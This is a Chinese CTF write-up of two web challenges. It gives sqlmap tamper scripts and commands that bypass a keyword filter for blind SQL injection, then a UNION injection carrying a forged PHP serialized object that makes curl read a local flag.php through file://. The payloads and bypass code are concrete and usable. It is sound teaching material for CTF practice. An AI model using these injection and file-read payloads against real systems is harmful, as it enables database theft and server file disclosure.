考察方向:SQL注入 绕过关键词检测的SQL注入 PHP反序列化

盲注

手注WP

请看此链接:https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.html

SQLMAP注入WP

作为一个懒人,手注这种方法多麻烦,跑跑sqlmap多开心,一边跑一边康哔哩哔哩,再恰恰薯片,岂不美哉?

环境调查

  • 页面是PHP的
  • 后端是MYSQL的
  • 只有 1 2 3输入可以出结果
  • 属于整数型注入(01=1)
  • 拦截了绝大部分关键词

拦截关键词

1
and for or order outfile # & * rand()  xor +  - ||  `  ord()  for updatexml()  information union && /* */  limit  floor()   "  空格

其实还不止这一些,上面也有些重复的 比如 order ord 完全是被or误伤的 另谈另谈

准备工作

看到这浩浩荡荡的拦截阵容,直接跑就别想了,还是先写个tamper应付应付吧 最先要处理的肯定是空格,SQL注入不允许空格多麻烦,把空格替换成tab(%09)吧,第一个tamper诞生了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
payload = payload.replace(' ', "%09")
return payload

命令也很简单 python sqlmap.py -r login.txt --threads 10 --dbms "MYSQL" --tamper "justTest" --level 5 --risk 3 管他是个啥呢 跑个level5 risk3再说 过程中先康康哔哩哔哩放松放松

一会儿sqlmap就跑出来两个注入点

1
2
3
4
5
6
7
8
Parameter: id (POST)
Type: boolean-based blind
Title: HAVING boolean-based blind - WHERE, GROUP BY clause
Payload: id=1 HAVING 3172=3172

Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: id=1 RLIKE SLEEP(5)

第一个是布尔的,第二个是时间的,时间的自然不用看,用时间注入怕不是得等到比赛结束,还是康康第一个布尔能干啥吧

尝试注入

打开fiddler 关闭自动代理设置 先看看数据库吧 命令:python sqlmap.py -r login.txt --threads 10 --dbms "MYSQL" --tamper "justTest" --level 5 --risk 3 --proxy "http://127.0.0.1:8888" -b Emmmm,一连串的313(SQL Injection Checked),就知道这事儿没这么简单,揪一行出来看看怎么回事 id=1 HAVING ORD(MID((IFNULL(CAST(VERSION() AS CHAR),0x20)),1,1))>32 得,在看看刚刚的拦截列表,ORD被OR误伤了,ORD这个函数是用不了了,有没有替换的函数呢? 有的,ASCII函数和MID函数功能相同,替换替换,改改tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
payload = payload.replace(' ', "%09")
payload = payload.replace('ORD', "ASCII")
return payload

再跑一次 10.2.26-MariaDB-log 跑出来了,这样用肯定是没问题了

正式注入

information 被拦截了,表名库名列名全泡汤了,幸好题目给了 先看看环境吧

  • 当前库:ctftraining
  • 当前用户:root@localhost
  • 猜解表:flag news passage users

再看看flag表中的列吧 猜解列:id content flag

那就直接dump出这个表吧! 得,一个都没跑出来,继续看看313 id=1 HAVING ASCII(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM ctftraining.flag),1,1))>51 Emmm 星号被拦截了,把COUNT(*)改成COUNT(1) 再来看看 怎么还是一堆313 再拿个来看看 id=1 HAVING ASCII(MID((SELECT IFNULL(CAST(CHAR_LENGTH(flag) AS CHAR),0x20) FROM ctftraining.flag ASCIIER BY flag LIMIT 0,1),1,1))>51 命中关键词 LIMIT (…..) 咋整 反正也也就一行 干脆把LIMIT条件删了吧! 这就是最后的tamper了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
payload = payload.replace(' ', "%09")
payload = payload.replace('ORD', "ASCII")
payload = payload.replace('COUNT(*)', "COUNT(1)")
payload = payload.replace('LIMIT%090,1', "")
payload = payload.replace('ASCIIER%09BY%09id', "")
payload = payload.replace('ASCIIER%09BY%09flag', "")
#payload = payload.replace(' ', "/*%0a*//*%00*//*%0b*//*!*//*!*//*!*/")
return payload

命令:python sqlmap.py -r login.txt --threads 100 --dbms "MYSQL" --tamper "justTest" --level 5 --risk 3 -o --proxy "http://127.0.0.1:8888" -D ctftraining -T flag -C flag --dump 拿到 flag SWCTF_Flag{xiaohei_is_a_big_girl}

Facebook

首先就是一个注入点 大概拦截了三个串 ‘union select’ ‘union all select’ ‘0x’ 原因嘛很简单 sqlmap直接跑UNION必定会用到这三个 解决办法也不困难 /**/代替空格也好 双写空格也罢 都可以 0x解决更容易 –no-escape即可 python sqlmap.py -u 'http://139.199.72.13:8306/view.php?no=1' --tamper "space2comment.py" --threads 10 --technique "U" --union-char 76543 --no-escape 跑出user表

批注 2019-11-11 151248.png

其他的地方没啥意思 这个data是序列化过的? 继续康康其他地方 简单寻找一番找到了rebots.txt文件和flag.php文件 显然 目标是读取flag.php

1
2
User-agent: *
Disallow: /user.php.bak

那就来康康user.php源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

这边是用户注册和点击用户时处理的class,主要是注册时判断是不是真正的Blog 然后点击的时候用curl拓展访问并显示 curl是支持本地file://读取的,突破口也就在这里 我们要想办法让blog的url变成file://的

正则没看出问题来,绕不过去(有能绕过去的大佬麻烦留个评论),但我们有个UNION的注入呀 让我们回到手注来 http://139.199.72.13:8306/view.php?no=-1 union select 1,2,3,4 这四位代表的就是user表内的四列 我们复制一个data来 O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:13:"www.baidu.com";} 拿来改一改 O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";} PHP的序列化,很容易看懂 组合一下 http://139.199.72.13:8306/view.php?no=-1 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 访问页面 此时页面已经正常了,在下面那个小的不能再小的框框中看到源码 flag{areyoutierd?}